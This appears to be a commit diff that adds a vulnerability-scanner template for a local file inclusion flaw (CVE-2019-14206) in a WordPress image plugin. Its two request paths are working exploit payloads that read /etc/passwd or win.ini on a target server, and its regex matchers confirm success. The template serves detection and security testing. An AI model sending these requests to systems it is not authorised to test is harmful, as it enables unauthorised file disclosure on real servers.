Add CVE-2019-14206 (vKEV)

http/cves/2019/CVE-2019-14206.yaml

@@ -0,0 +1,52 @@
+id: CVE-2019-14206
+
+info:
+  name: Nevma Adaptive Images > 0.6.67 - Local File Inclusion
+  author: riteshs4hu
+  severity: high
+  description: |
+    The Nevma Adaptive Images plugin before version 0.6.67 for WordPress is vulnerable to Local File Inclusion (LFI) due to insufficient sanitization of user-supplied input in adaptive-images-script.php. This allows unauthenticated remote attackers to include and read arbitrary files on the server by supplying crafted request parameters.
+  impact: |
+    Remote attackers can read and delete arbitrary files on the server, potentially causing data loss and service disruption.
+  remediation: |
+    Update to version 0.6.67 or later.
+  reference:
+    - https://wordpress.org/plugins/adaptive-images/#developers
+    - https://wpscan.com/vulnerability/025a47f0-eddc-46dd-b994-e1e824dc5225/
+    - https://github.com/markgruffer/markgruffer.github.io/blob/master/_posts/2019-07-19-adaptive-images-for-wordpress-0-6-66-lfi-rce-file-deletion.markdown
+    - https://markgruffer.github.io/2019/07/19/adaptive-images-for-wordpress-0-6-66-lfi-rce-file-deletion.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-14206
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2019-14206
+    cwe-id: CWE-22
+    epss-score: 0.01676
+    epss-percentile: 0.8178
+    cpe: cpe:2.3:a:nevma:adaptive_images:*:*:*:*:*:wordpress:*:*
+  metadata:
+    verified: true
+    max-request: 2
+    vendor: nevma
+    product: adaptive_images
+  tags: cve,cve2019,nevma,adaptive-images,unauth,kev,vkev
+
+http:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings%5Bsource_file%5D=/etc/passwd'
+      - '{{BaseURL}}/wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings%5Bsource_file%5D=/Windows/win.ini'
+
+    stop-at-first-match: true
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: regex
+        part: body
+        regex:
+          - "root:.*:0:0:"
+          - "\\[(font|extension|file)s\\]"
+        condition: or